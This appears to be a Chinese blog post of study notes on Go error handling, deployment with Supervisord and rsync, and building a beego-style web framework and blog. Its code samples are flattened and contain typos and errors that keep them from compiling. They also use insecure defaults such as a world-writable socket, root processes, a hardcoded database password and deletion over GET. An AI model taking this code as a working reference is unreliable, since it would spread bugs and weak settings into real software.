因为说,其他语言很多都有try...catch,用来捕捉错误语言,不过很多错误都是可以预知的.

比如,打开一个文件,该文件不存在,Os.Open返回一个错误,而不是panic.比如向中断的网络连接写数据net.Conn系列类型的Write函数返回一个错误,而他们不会panic,

但是有一种情况,有一些操作几乎不可能失败,但是在一些特定情况下也没有办法返回错误,也无法继续执行,这种情况就应该panic.

比如,一个程序计算x[j],但是j越界了,这部分代码就会导致panic.像这样不可预知的严重后果就应该panic,在默认情况下他会杀死进程.

它允许一个正在运行这部分代码的goroutine从发生错误的panic中恢复运行,发生panic之后,这部分代码后面的函数和代码都不会继续执行,这是Go特意这样设计的,因为要区别于错误和异常,panic其实就是异常处理。

如下代码,我们期望通过uid来获取User中的username信息,但是如果uid越界了就会抛出异常,这个时候如果我们没有recover机制,进程就会被杀死,从而导致程序不可服务。因此为了程序的健壮性,在一些地方需要建立recover机制。

func GetUser(uid int) (username string) {defer func() {if x := recover(); x != nil {username = ""}}()username = User[uid]return
}

注意:

如果我们定义的函数有可能失败,就要返回一个错误.

当我调用其他包的函数,如果这个函数实现的好,我不用担心它会panic,除非有真正的异常情况发生,即使那样也不应该是我去处理它(为什么这么说,说不用处理???)。

而panic和recover是针对自己开发package里面实现的逻辑,针对一些特殊情况来设计。

应用部署

因为说,go程序编译之后一个可执行文件,编写过C程序的一定知道采用daemon就可以完美实现程序后台持续运行.但是go无法完美实现daemon.

因此我们利用第三方工具来管理,例如Supervisord、upstart、daemontools等,在这里我们使用Supervisord.

daemon

目前Go程序还不能实现daemon,详细的见这个Go语言的bug:http://code.google.com/p/go/issues/detail?id=227,大概的意思说很难从现有的使用的线程中fork一个出来,因为没有一种简单的方法来确保所有已经使用的线程的状态一致性问题。

不推荐这样去实现,因为官方还没有正式的宣布支持daemon,当然第一种方案目前来看是比较可行的,而且目前开源库skynet也在采用这个方案做daemon。

可以看到很多网上的一些实现daemon的方法

MarGo的一个实现思路,使用Command来执行自身的应用,如果真想实现,那么推荐这种方案

使用command来执行自身??牛逼操作!

d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)")
if *d {cmd := exec.Command(os.Args[0],"-close-fds","-addr", *addr,"-call", *call,)serr, err := cmd.StderrPipe()if err != nil {log.Fatalln(err)}err = cmd.Start()if err != nil {log.Fatalln(err)}s, err := ioutil.ReadAll(serr)s = bytes.TrimSpace(s)if bytes.HasPrefix(s, []byte("addr: ")) {fmt.Println(string(s))cmd.Process.Release()} else {log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err)cmd.Process.Kill()}
}

另一种是利用syscall的方案,但是这个方案并不完善:

package mainimport ("log""os""syscall"
)func daemon(nochdir, noclose int) int {var ret, ret2 uintptrvar err uintptrdarwin := syscall.OS == "darwin"// already a daemonif syscall.Getppid() == 1 {return 0}// fork off the parent processret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0)if err != 0 {return -1}// failureif ret2 < 0 {os.Exit(-1)}// handle exception for darwinif darwin && ret2 == 1 {ret = 0}// if we got a good PID, then we call exit the parent process.if ret > 0 {os.Exit(0)}/* Change the file mode mask */_ = syscall.Umask(0)// create a new SID for the child processs_ret, s_errno := syscall.Setsid()if s_errno != 0 {log.Printf("Error: syscall.Setsid errno: %d", s_errno)}if s_ret < 0 {return -1}if nochdir == 0 {os.Chdir("/")}if noclose == 0 {f, e := os.OpenFile("/dev/null", os.O_RDWR, 0)if e == nil {fd := f.Fd()syscall.Dup2(fd, os.Stdin.Fd())syscall.Dup2(fd, os.Stdout.Fd())syscall.Dup2(fd, os.Stderr.Fd())}}return 0
}

Supervisord

Supervisord是用Python实现的一款非常实用的进程管理工具。supervisord会帮你把管理的应用程序转成daemon程序,而且可以方便的通过命令开启、关闭、重启等操作,而且它管理的进程一旦崩溃会自动重启,这样就可以保证程序执行中断后的情况下有自我修复的功能。

注意:

因为所有的应用程序都是由Supervisord父进程生出来的,那么当你修改了操作系统的文件描述符之后,别忘记重启Supervisord,光重启下面的应用程序没用。

Supervisord安装

Supervisord可以通过 sudo yum install supervisor安装,也可以通过官网下载并解压,在源码所在目录下执行setup.py install来安装

Supervisord配置

Supervisord默认的配置文件路径为/etc/supervisord.conf,下面是一个配置文件的示例

;/etc/supervisord.conf
[unix_http_server]
file = /var/run/supervisord.sock
chmod = 0777
chown= root:root[inet_http_server]
# Web管理界面设定
port=9001
username = admin
password = yourpassword[supervisorctl]
; 必须和'unix_http_server'里面的设定匹配
serverurl = unix:///var/run/supervisord.sock[supervisord]
logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log)
logfile_maxbytes=50MB       ; (max main logfile bytes b4 rotation;default 50MB)
logfile_backups=10          ; (num of main logfile rotation backups;default 10)
loglevel=info               ; (log level;default info; others: debug,warn,trace)
pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid)
nodaemon=true              ; (start in foreground if true;default false)
minfds=1024                 ; (min. avail startup file descriptors;default 1024)
minprocs=200                ; (min. avail process descriptors;default 200)
user=root                 ; (default is current user, required if root)
childlogdir=/var/log/supervisord/            ; ('AUTO' child log dir, default $TEMP)[rpcinterface:supervisor]
supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface; 管理的单个进程的配置,可以添加多个program
[program:blogdemon]
command=/data/blog/blogdemon
autostart = true
startsecs = 5
user = root
redirect_stderr = true
stdout_logfile = /var/log/supervisord/blogdemon.log

Supervisord安装完成后有两个可用的命令行supervisor和supervisorctl

  • supervisord,初始启动Supervisord,启动、管理配置中设置的进程。
  • supervisorctl stop programxxx,停止某一个进程(programxxx),programxxx为[program:blogdemon]里配置的值,这个示例就是blogdemon。
  • supervisorctl start programxxx,启动某个进程
  • supervisorctl restart programxxx,重启某个进程
  • supervisorctl stop all,停止全部进程,注:start、restart、stop都不会载入最新的配置文件。
  • supervisorctl reload,载入最新的配置文件,并按新的配置启动、管理所有进程。

备份和恢复

应用备份

大多数情况下,web应用程序不需要备份,因为这本来就是我们代码库中下载下来的而已,我们的版本控制系统中已经保持这些代码。

不过很多时候,一些开发的站点需要用户来上传文件,那么我们需要对这些用户上传的文件进行备份。

目前其实有一种合适的做法就是把和网站相关的需要存储的文件存储到云储存

这里我们介绍一个文件同步工具rsync:rsync能够实现网站的备份,不同系统的文件的同步

rsync安装

rysnc的官方网站:http://rsync.samba.org/ 可以从上面获取最新版本的源码。我们目前好像就是用的这个工具进行的文件同步.

rsync特性:

  1. 可以镜像保存整个目录和文件系统
  2. 容易做到保持原来文件的权限、时间、软硬链接等
  3. 无特殊权限就可以安装,linux操作系统默认安装
  4. 优化的流程、文件传输效率高
  5. 可以使用rsh ssh 方式来传输文件 也可直接通过socket方式
  6. 支持匿名传输
  7. rsync 进行远程同步时,可以使用两种方式:远程Shell方式(建议使用 ssh用户验证由 ssh 负责)和C/S方式(即客户连接远程rsync 服务器,用户验证由rsync 服务器负责)

软件包安装

sudo apt  install  rsync
yum install rsync

rsync配置

rsync主要有以下三个配置文件rsyncd.conf(主配置文件)、rsyncd.secrets(密码文件)、rsyncd.motd(rysnc服务器信息)。

下面介绍服务器端和客户端如何开启

  • 服务端开启:
#/usr/bin/rsync --daemon  --config=/etc/rsyncd.conf

--daemon参数方式,是让rsync以服务器模式运行。把rsync加入开机启动

echo 'rsync --daemon' >> /etc/rc.d/rc.local

设置rsync密码

echo '你的用户名:你的密码' > /etc/rsyncd.secrets
chmod 600 /etc/rsyncd.secrets
  • 客户端同步:

客户端可以通过如下命令同步服务器上的文件:

rsync -avzP  --delete  --password-file=rsyncd.secrets   用户名@192.168.145.5::www /var/rsync/backup

客户端同步命令解释:

  • -avzP代表4个选项

    • a 归档模式,表示以递归方式传输文件,并保持所有文件属性
    • v 详细模式输出
    • z 对备份的文件在传输时进行压缩处理
    • P 等同于 --partial,保留那些因故没有完全传输的文件,以是加快随后的再次传输
  • --delete 是为了比如A上删除了一个文件,同步的时候,B会自动删除相对应的文件
  • --password-file 客户端中/etc/rsyncd.secrets设置的密码,要和服务端的 /etc/rsyncd.secrets 中的密码一样,这样cron运行的时候,就不需要密码了
  • 命令中的"用户名"为服务端的 /etc/rsyncd.secrets中的用户名
  • 命令中的 192.168.145.5 为服务端的IP地址
  • ::www,注意是2个 : 号,www为服务端的配置文件 /etc/rsyncd.conf 中的[www],意思是根据服务端上的/etc/rsyncd.conf来同步其中的[www]段内容,一个 : 号的时候,用于不根据配置文件,直接同步指定目录。

为了让同步实时性,可以设置crontab,保持rsync每分钟同步,也可以根据文件的重要程度设置不同的同步频率。

下面都是MySQL备份和Redis备份,老沈常谈,不说了

如何设计一个Web框架 

项目规划

gopath以及项目设置

假设gopath是一个文件系统的普通目录名,我们当然可以随便设置一个目录名,然后将其路径存入GOPATH,GOPATH可以是多个目录.

在linux/MacOS系统只要输入终端命令export gopath=/home/liuhao/gopath,但是必须保证gopath这个代码目录下面有三个目录pkg、bin、src。

新建项目的源码放在src目录下面,现在暂定我们的博客目录叫做beeblog,工作目录在$gopath/src下.

应用程序流程图

本系统是基于 模型 - 视图 - 控制器 这一设计模式的,MVC是一种将应用程序的逻辑层和表现层进行分离的结构方式.一般的web都是用这种结构,即使是前后端分离,也只是抛弃了view而已,有的甚至还是会把静态文件放在view里面.由于把go代码从表示层中剥离了出来,所以我们的网页可以只包含很少的脚本.

  • 模型(Model) 代表数据结构,通常来说,模型类将包含数据库的增删改查操作
  • 控制器(Controller)是模型,视图以及其他任何处理http请求所必须的资源之间的中介,并生成网页.(简而言之就是用来调度http请求资源的和生成页面的地方)
  • 视图(View)是展示给用户的信息的结构以及样式.在go中一个视图也可以是一个页面的片段,还可以是一个RSS页面或其他类型的页面,go的template包已经很好的实现了view层中的大部分功能.

下图是我们将要设计的框架的数据流是如何贯穿整个系统的:

框架架构

  1. main.go作为应用入口,初始化一些运行框架所需要的基本资源,配置信息,监听端口
  2. 路由功能检查http请求,根据URL以及method来确定哪个控制器来处理请求,也可以路由在这里做一点中间件功能.
  3. 如果缓存文件存在,它将绕过通常的流程执行,被直接发送给浏览器。
  4. 安全检测:应用程序控制器调用之前,HTTP请求和任一用户提交的数据将被过滤。(类似于中间件功能)
  5. 控制器装在模型,核心库,辅助函数,以及任何处理特定请求所需的其他资源,控制器主要负责处理业务逻辑
  6. 输出视图层中已经渲染完毕的页面发送给Web浏览器中。如果开启缓存,视图首先被缓存,将用于以后的常规请求。

目录结构

架构目录如下:

|——main.go         入口文件
|——conf            配置文件和处理模块
|——controllers     控制器入口
|——models          数据库处理模块
|——utils           辅助函数库
|——static          静态文件目录
|——views           视图库

框架设计

基本上就是利用上面的流程设计一个最小的框架,框架包括路由功能,支持REST的控制器,自动化渲染末班,日志系统,配置管理等

自定义路由器设计

http路由 http路由组件负责将http请求交到对应的函数去处理或者是一个struct的方法,留有在框架中相当于一个事件处理器,而这个事件要包括:

  • 用户请求的路径即path,例如:user/liu,finance/list.当然还要有查询串信息例如:?id=1
  • http的请求方法(method)(GET,POST,PUT,DELETE,PATCH等)

路由器就是根据用户请求的事件信息转发到相应的处理函数,即控制器.

默认的路由实现

这里再说一下go的http包的设计和路由实现

下面的例子调用了HTTP默认的DefaultServeMux来添加路由,需要提供两个参数,第一个参数是用户访问此资源的URL路径,该路径保存在r.URL.Path中,第二个参数是即将要执行的函数,以提供用户访问的资源,路由的主要思路集中在亮点:

  • 添加路由信息
  • 根据用户请求转发到要执行的函数

//编写函数,作为下面的回调
func fooHadnler(w http.ResponseWriter, r *http.Request){fmt.Fprintf(w,"heelo,%q",html.EscapeString(r.URL.Path))
}//调用我们封装的回调函数
http.HandleFunc("/foo",fooHandler)//直接写回调函数
http.HandleFunc("/bar",func(w http.ResponseWriter, r *http.Request){fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
})log.Fatal(http.ListenAndServe(":8080", nil))

go的默认路由添加是通过函数http.Handlehttp.HandleFunc等来添加的,底层都是调用了DefaultServeMux.Handle(pattern string, handler Handler),该函数会把路由存储在一个map信息中map[string]muxEntry,这就解决了- 添加路由信息的问题

go监听端口,然后接收到tcp连接会扔给Handler来处理,上面的例子默认nil的意思,即为http.DefaultServeMux,通过DefaultServeMux.ServeHTTP函数来进行调度,遍历之前存储的map路由信息,和用户访问的URL做匹配,以查询对应注册的处理函数,这就实现了上面说的 - 根据用户请求转发到要执行的函数

for k, v := range mux.m {if !pathMatch(k, path) {continue}if h == nil || len(k) > n {n = len(k)h = v.h}
}

beego框架路由实现

目前几乎所有的Web应用路由实现都是基于http默认的路由器,但是Go自带的路由器有几个限制:

  • 不支持参数设定,流入/user/:uid这种泛型匹配
  • 无法很友好的支持REST模式,无法限制访问的方法,例如在上面的代码中,用户访问/foo,可以用GET、POST、DELETE、HEAD等方式访问
  • 一般网站的路由规则太多了,编写繁琐.不过可以通过struct的方法进行一种简化

存储路由

针对前面所说的go自带的路由的限制点

  • 不支持参数设定,我们可以使用正则来匹配
  • 无法很好的支持REST模式和一般网站的路由规则太多了,我们通过把REST的方法对应到struct的方法中取,然后路由到struct而不是函数,这样在转发路由时就可以根据method来执行不同的方法

所以我们设计了两个数据类型

  • controllerinfo 用来保存路由和对应的的struct,这里是一个reflect.Type类型
  • ControllerRegistor,routers是一个slice用来保存用户添加的路由信息,以及beego框架的应用信息

看这里的时候可能有感觉有点懵逼,没事继续往下看,先记住这里,看到下一个小节就都明白了

框架我都懒得写了...

//保存路由和对应的struct
type controllerInfo struct{regex   *regexp.Regexpparams  map[int]stringcontrollerType  reflect.Type//反射类型
}//
type ControllerRegistor struct{routers []*controllerInfo   //保存我们添加的路由信息Application *App    //框架的应用信息
}

ControllerRegistor对外的接口函数有

func (p *ControllerRegistor) Add(pattern string, ControllerInterface)

函数的具体实现


func (p *ControllerRegistor) Add(pattern string, c ControllerInterface){//按照/分割字符串为sliceparts := strings.Split(pattern, "/")j:=0parms := make(map[int]string)for i,part := range parts{//判断字符串是否以:开头if strings.HasPrefix(part, ":"){expr := "([^/]+)"//我们可以选择覆盖defult表达式//类似于expressjs: ' /user/:id([0-9]+) '//如果发现字符串中(,则剪切字符串,一个作为参数,一个作为路由if index := strings.Index(part,"("); index != -1{expr = part[index:]part = part[:index]}params[j] = partparts[i] = exprj++}}//重新创建url模式,替换参数//正则表达式,然后编译正则表达式pattern = strings.Join(parts, "/")regex, regexErr := regexp.Compile(pattern)if regexErr != nil{//可以在这里添加错误处理以避免恐慌panic(regexErr)return}//现在可以创建路由t := reflect.Indirect(reflect.ValueOf(c)).Type()route := &controllerInfo{}route.regex = regxroute.params = paramsroute.controllerType = tp.routers = append(p.routers, route)}

静态路由实现

Go的http包默认支持静态文件处理FileServer,既然我们实现了了自定义路由,那么静态文件也需要自己设定.我们这里的beego的静态文件夹路径保存在全局变量StaticDir中,StaticDir是一个map类型

func (app *App) SetStaticPath(url string,path string) *App{StaticDir[url] = pathreturn app
}

在应用中设置静态文件的路径可以使用下面的方式实现:

beego.SetStaticPath("/img","/static/img")

转发路由

转发路由是基于ControllerRegistor里的路由信息来进行转发的,这里用了太多的反射

//路由转发
func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter,r *http.Request){//一个自动触发的回调函数,但是会在函数运行完之后才执行defer func(){if err := recover(); err!=nil{//我们自己封装的错误处理if !RecoverPanic{// 此处会go back to panicpanic(err)}else{//我们可以自己封装的日志处理Critical("hanler 转发失败", err)for i:=1; ;i+=1{_,file,line,ok := runtime.Caller(i)if !ok{break}Critical(file,line)}}}}()var started bool//遍历StaticDir这个map,得到静态文件保存的目录和下标for prefix, staticDir := range StaticDir{//判断用户访问的URL是否存在于我们预先设定的map中,如果存在则开始做拼接处理if strings.HasPrefix(r.URL.Path, prefix){file := staticdir + r.URL.Path[len(prefix):]http.ServeFile(w, r, file)started = truereturn}}/***找一条匹配路由*/
//得到用户请求的URL地址requstPath := r.URL.Path//遍历我们预先定义的路由列表for _,route := range p.routers{//使用我们预先定义的路由,来做简单的正则匹配,判断用户请求的URL是否是在我们存储的路由中//如果不是,就跳过循环,开始进入下一个循环if !route.regex.MatchString(requestPath){continue}//Submatch 返回完全匹配和局部匹配的字符串。例如,这里会返回 p([a-z]+)ch 和 `([a-z]+) 的信息。matches := route.regex.FindStringSubmatch(requestPath)//再次检查路由是否匹配URL模式。//即用上面正则,拿到的我们匹配到的参数的长度和用户请求的URL的长度做对比,如果不一样的进入下一个循环if len(matches[0]) != len(requestsPath){continue}params := make(map[string]string)if len(route.params) >0{//将url的请求参数添加到查询参数映射values := r.URL.Query()//遍历上面正则查询到的所有结果(从下标1开始),并将下标和值,分别保存for i, match := range matches[1:] {values.Add(route.params[i], match)params[route.params[i]] = match}//重新组装查询参数并添加到RawQueryr.URL.RawQuery = url.Values(values).Encode() + "&"+ r.URL.RawQuery}/***调用请求处理程序*///使用反射,动态创建一个struct,其实就是注册方法vc := reflect.New(route.controllerType)//注册封装的Init方法init := vc.MethodByName("Init")in := make([]reflect.Value, 2)ct := &Context{ResponseWriter: w, Request: r, Params: params}in[0] = reflect.ValueOf(ct)in[1] = reflect.ValueOf(route.controllerType.Name())init.Call(in)in = make([]reflect.Value, 0)//同样,注册封装的Prepare方法method := vc.MethodByName("Prepare")//调用封装的方法method.Call(in)//逐个匹配请求方式,判断激活那个方法if r.Method == "GET" {method = vc.MethodByName("Get")method.Call(in)} else if r.Method == "POST" {method = vc.MethodByName("Post")method.Call(in)} else if r.Method == "HEAD" {method = vc.MethodByName("Head")method.Call(in)} else if r.Method == "DELETE" {method = vc.MethodByName("Delete")method.Call(in)} else if r.Method == "PUT" {method = vc.MethodByName("Put")method.Call(in)} else if r.Method == "PATCH" {method = vc.MethodByName("Patch")method.Call(in)} else if r.Method == "OPTIONS" {method = vc.MethodByName("Options")method.Call(in)}if AutoRender {method = vc.MethodByName("Render")method.Call(in)}method = vc.MethodByName("Finish")//调用匹配到的方法method.Call(in)started = truebreak}//如果没有匹配到url,则抛出not found异常if started == false {http.NotFound(w, r)}
}

使用入门

基于这样的路由设计之后就可以解决前面所说的三个限制点,下面是使用方式

基本的使用注册路由:

beego.BeeApp.RegisterController("/", &controllers.MainController{})

参数注册:

beego.BeeApp.RegisterController("/:param", &controllers.UserController{})

正则匹配:

beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{})

controller设计

controller作用

这里就不赘述了,Controller指Web开发人员编写的处理不同URL的控制器.controller在整个的MVC框架中起到了一个核心的作用,负责处理业务逻辑.

beego的REST设计

前面一小节,我们实现了路由注册struct的功能,而struct中实现了REST方式,因此我们这里还需要设计一个用于处理业务逻辑的controller的基类,这里主要设计两个类型,一个struct,一个interface


//控制器结构体
type Controller struct{Ct *ContextTpl *template.TemplateData map[interface{}]interface{}ChildName stringTplNames stringLayout  []stringTplExt  string
}//控制器接口
type ControllerInterface interface{Init(ct *Context, cn string)    //初始化上下文和子类名称Prepare()   //开始执行之前的一些处理Get()   //method=get的处理Post()  //同上Delete()    //同上Put()   //同上Head()  //同上Patch() //同上Finish()    //执行完毕之后的处理Render() error  //执行完method对应的方法之后渲染页面
}

就像前面说的路由add函数的时候是定义了ControllerInterface类型,因此只要我们事先这个接口就可以了,下面是基类的controller实现的几个方法

func (c *Controller) Init(ct *Context, cn string){c.Data =make(map[interface{}]interface{})c.Layout = make([]string,0)c.TplNames = ""c.ChildName= cnc.Ct=ctc.TplExt="tpl"
}func (c *Controller) Prepare() {}func (c *Controller) Finish() {}func (c *Controller) Get() {http.Error(c.Ct.ResponseWriter, "接口不被允许", 405)
}func (c *Controller) Post() {http.Error(c.Ct.ResponseWriter, "接口不被允许", 405)
}func (c *Controller) Delete() {http.Error(c.Ct.ResponseWriter, "接口不被允许", 405)
}func (c *Controller) Put() {http.Error(c.Ct.ResponseWriter, "接口不被允许", 405)
}func (c *Controller) Head() {http.Error(c.Ct.ResponseWriter, "接口不被允许", 405)
}func (c *Controller) Patch() {http.Error(c.Ct.ResponseWriter, "接口不被允许", 405)
}func (c *Controller) Options() {http.Error(c.Ct.ResponseWriter, "接口不被允许", 405)
}func (c *Controller)Render() error{//如果layout>0 即需要多个模板或一个模板if len(c.Layout)>0{var filenames []stringfor _, file := range c.Layout{filenames = append(filenames, path.Join(ViewsPath, file))}//这里这个...意思是把这个slice打算逐个当参数穿进去t, err := template.ParseFiles(filenames...)if err != nil{Trace("template parseFile error:",err)}err = t.ExecuteTemplate(c.Ct.ResponseWriter,c.TplNames,C.Data)if err != nil{Trace("template execute error:", err)}}else{//如果没有模板,我们就拼接一个子的if c.TplNames == ""{c.TplNames = c.ChildName + "/" + c.Ct.Resquest.Method+"."+c.TplExt}t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames))if err != nil {Trace("template parsefile error:", err)}err = t.Execute(c.Ct.ResponseWriter, c.Data)if err != nil {Trace("template execute error:", err)}}return nil}func (c *Controller) Redirect(url string, code int) {c.Ct.Redirect(code, url)
}

上面的controller基类已经实现了所有接口定义的函数,通过路由根据url执行相应的controller的原则,会依次执行

Init()      初始化
Prepare()   执行之前的初始化,每个继承的子类可以来实现该函数
method()    根据不同的method执行不同的函数:GET、POST、PUT、HEAD等,子类来实现这些函数,如果没实现,那么默认都是403
Render()    可选,根据全局变量AutoRender来判断是否执行
Finish()    执行完之后执行的操作,每个继承的子类可以来实现该函数

应用指南

上面基本上已经完成了controller基类的设计,我们可以在应用中这么设计我们的控制器方法

//这块可以看一下作者的代码,可见他这里就直接import了项目中的框架
//且直接在控制器方法中添加参数,设置模板
package controllersimport ("github.com/astaxie/beego"
)type MainController struct {beego.Controller
}func (this *MainController) Get() {this.Data["Username"] = "astaxie"this.Data["Email"] = "astaxie@gmail.com"this.TplNames = "index.tpl"
}

在上面我们已经实现了子类的MainController,实现了Get方法,如果用户通过其他的方式(POST/HEAD等)来访问该接口都将返回405,因为我们设置了AutoRender=true,那么在执行完Get方法之后会自动执行Render函数,取到我们设置的index.tpl页面

index.tpl的代码如下所示,我们可以看到数据的设置和显示都是相当的简单方便:

<!DOCTYPE html>
<html><head><title>beego welcome template</title></head><body><h1>Hello, world!{{.Username}},{{.Email}}</h1></body>
</html>

日志和配置设计

beego的日志设计

beego的日志设计部署思路来自于seelog,根据不同的level来记录日志

但是beego设计的日志系统就比较轻量级了,采用了系统的log.Logger接口来做,默认输出到os.Stdout

用户可以实现这个接口然后通过beego.SetLogger设置自定义的输出

下面实现了一段日志系统的日志分级,默认的级别是Trace.用户通过SetLevel可以设置不同的分级。

const(LvelTrace = iota    //默认自增枚举,初始值为0LevelDebugLevelInfoLevelWarningLevelWarningLevelErrorLevelCritical
)// logLevel控制日志记录器使用的全局日志级别。
var level = LevelTrace// LogLevel返回全局日志级别,可用于
//日志程序接口的实现。
func Level()int{return level
}// SetLogLevel设置simple使用的全局日志级别
//设置日志记录登记
func SetLevel(l int){level
}

下面代码初始化了BeeLogger对象,默认输出到os.Stdout

我们可以通过beego.SetLogger来设置实现了logger的接口输出

下面主要实现了6个函数:

  • Trace 一般的记录信息
  • Debug 调试信息
  • Info 打印信息
  • Warn 警告信息
  • Error 错误信息
  • Critical 致命错误

可以看到下面每个函数都有对level的判断,所以我们在部署的时候设置了level=LevelWaring,那么Trace,Debug,Info这三个函数都不会有任何的输出,一次类推

//日志程序使用go自带的日志包。
var BeeLogger = log.New(os.Stdout,"",log.Ldate|Log.Ltime)// SetLogger设置一个新的日志程序。
func SetLogger(l *log.Logger){BeeLogger =l
}//记录一个trace 级别的日志消息
func Trace(v ...interface{}){if level <= LevelTrace{Beelogger.Printf("[T] %v\n", v)}
}//记录一个debug 级别的日志小
func Debug(v ...interface{}){if level <= LevelDebug{BeeLogger.Printf("[D]%v\n", v)}
}//记录一个info级别的日志消息
func Info(v ...interface{}){if level <= LevelInfo{Beelogger.Printf("[I] %v\n",v)}
}//记录一个warging 级别的错误信息
func Warn(v ...interface{}){if level <= LevelWarning{BeeLogger.Printf("[W] %v\n", v)}
}//记录一个error级别的错误信息
func Error(v ...interface{}){if level <= LevelError{BeeLogger.Printf("[E] %v\n",v)}
}//记录一个critical级别的错误日志
func Critical(v ...interface}){if level <= LevelCritical{BeeLogger.Printf("[C] %v\n", v)}
}

beego的配置设计

配置信息的解析,beego实现了一个key=values的配置文件读取,类似于ini配置文件的格式.

通过把解析的数据保存到map中,然后在调用的时候通过几个string,int之类的函数调用返回相应的值

首先定义了一些ini配置问价的一些全局性常量

var (bComment = []byte{'#'}bEmpty = []byte{}bEquel = []byte{'='}bDQuote = []byte{'"'}
)

定义配置文件的格式

//配置文件的配置方式
type Config struct{filename stringconmment map[int][]string   /// id: []{comment, key...}; id 1 is for main comment.data    map[string]string   //key: valueoffset  map[string]int64    //key: offset; for editing.sync.RWMutex    //锁
}

解析文件的函数,解析文件的过程是打开文件,然后一行一行的读取,解析注释、空行和key=value数据

//ParseFile创建一个新的配置并从指定的文件解析文件配置
func LoadConfig(name string) (*Config, error){file,err := os.Open(name)if err != nil{return nil,err}cfg := &Config{file.Name(),make(map[int][]string),make(map[string]string),make(map[string]int64),sync.RWMutex{},}cfg.Lock()defer cfg.Unlock()defer file.Close()//声明一个byte的缓冲区var comment bytes.Bufferbuf := bufio.NewReader(file)for nComment, off := 0,int64(1);;{line,_,err := buf.ReadLine()if err == io.EOF{break}if bytes.Equal(line,bEmpty){continue}off += int64(len(line))if bytes.HasPrefix(line,bComment){line = bytes.TrimLeft(line, "#")line = bytes.TrimLeftFunc(line, unicode.IsSpace)comment.Write(line)comment.WriteByte('\n')continue}if comment.Len() != 0 {cfg.comment[nComment] = []string{comment.String()}comment.Reset()nComment++}val := bytes.SplitN(line, bEqual, 2)if bytes.HasPrefix(val[1], bDQuote) {val[1] = bytes.Trim(val[1], `"`)}key := strings.TrimSpace(string(val[0]))cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key)cfg.data[key] = strings.TrimSpace(string(val[1]))cfg.offset[key] = off}return cfg, nil}

实现了一些读取配置文件的函数

返回的值为bool、int、float64或string:

func (c *Config) Bool(key string) (bool, error){return strconv.ParseBool(c.Data[key])
}func (c *Config) Int(key string) (int,error){return strconv.Atoi(c.Data[key])
}func (c *Config) Float(key string) (float64,error){return strconv.ParseFloat(c.data[key],64)
}func (c *Config) String(key string) string{return c.data[key]
}

应用指南

一个应用中的例子,用来获取远程url地址的json数据

func GetJson(){resp, err := http.Get(beego.AppConfig.String("url"))if err != nil{beego.Critical("http获取失败")}defer resp.Body.Close()body, err := ioutil.ReadAll(resp.Body)err = json.Unmarshal(body, &AllInfo)if err != nil{beego.Critical("error:", err)}
}

函数调用了我们在框架中封装的日志函数beego.Critical函数来记录错误

调用了beego.AppConfig.String("url")用来获取配置文件中的信息

配置文件的信息如下(app.conf)

appname = hs
url ="http://www.api.com/api.html"

实现博客的增删改

博客目录

博客目录的结构

.
├── controllers
│   ├── delete.go
│   ├── edit.go
│   ├── index.go
│   ├── new.go
│   └── view.go
├── main.go
├── models
│   └── model.go
└── views├── edit.tpl├── index.tpl├── layout.tpl├── new.tpl└── view.tpl

博客路由

博客主要的路由规则:

//显示博客首页
beego.Router("/", &controllers.IndexController{})
//查看博客详细信息
beego.Router("/view/:id([0-9]+)", &controllers.ViewController{})
//新建博客博文
beego.Router("/new", &controllers.NewController{})
//删除博文
beego.Router("/delete/:id([0-9]+)", &controllers.DeleteController{})
//编辑博文
beego.Router("/edit/:id([0-9]+)", &controllers.EditController{})

数据库结构

CREATE TABLE entries (id INT AUTO_INCREMENT,title TEXT,content TEXT,created DATETIME,primary key (id)
);

控制器

IndexController:

type IndexController struct{beego.Controller
}//默认首页
func (this *IndexController) Get(){this.Data["blogs"] = models.GetAll()this.Layout = "layout.Tpl"this.TplName = "index.tpl"
}

ViewController

type ViewController struct{beego.Controller
}func (this *ViewController) Get(){id,_:= strconv.Atoi(this.Ctx.Input.Params()[":id"])this.Data["Post"] = models.GetBlog(id)this.Layout = "layout.tpl"this.TplName = "view.tpl"
}

NewController

type NewController struct {beego.Controller
}func (this *NewController) Get() {this.Layout = "layout.tpl"this.TplName = "new.tpl"
}func (this *NewController) Post() {inputs := this.Input()var blog models.Blogblog.Title = inputs.Get("title")blog.Content = inputs.Get("content")blog.Created = time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302, "/")
}

EditController

type EditController struct {beego.Controller
}func (this *EditController) Get() {id, _ := strconv.Atoi(this.Ctx.Input.Params()[":id"])this.Data["Post"] = models.GetBlog(id)this.Layout = "layout.tpl"this.TplName = "edit.tpl"
}func (this *EditController) Post() {inputs := this.Input()var blog models.Blogblog.Id, _ = strconv.Atoi(inputs.Get("id"))blog.Title = inputs.Get("title")blog.Content = inputs.Get("content")blog.Created = time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302, "/")
}

DeleteController

type DeleteController struct {beego.Controller
}func (this *DeleteController) Get() {id, _ := strconv.Atoi(this.Ctx.Input.Params()[":id"])blog := models.GetBlog(id)this.Data["Post"] = blogmodels.DelBlog(blog)this.Ctx.Redirect(302, "/")
}

model层

ackage modelsimport ("database/sql""github.com/astaxie/beedb"_ "github.com/ziutek/mymysql/godrv""time"
)type Blog struct {Id      int `PK`Title   stringContent stringCreated time.Time
}func GetLink() beedb.Model {db, err := sql.Open("mymysql", "blog/astaxie/123456")if err != nil {panic(err)}orm := beedb.New(db)return orm
}func GetAll() (blogs []Blog) {db := GetLink()db.FindAll(&blogs)return
}func GetBlog(id int) (blog Blog) {db := GetLink()db.Where("id=?", id).Find(&blog)return
}func SaveBlog(blog Blog) (bg Blog) {db := GetLink()db.Save(&blog)return bg
}func DelBlog(blog Blog) {db := GetLink()db.Delete(&blog)return
}

view层

layout.tpl(结构)

<html>
<head><title>My Blog</title><style>#menu {width: 200px;float: right;}</style>
</head>
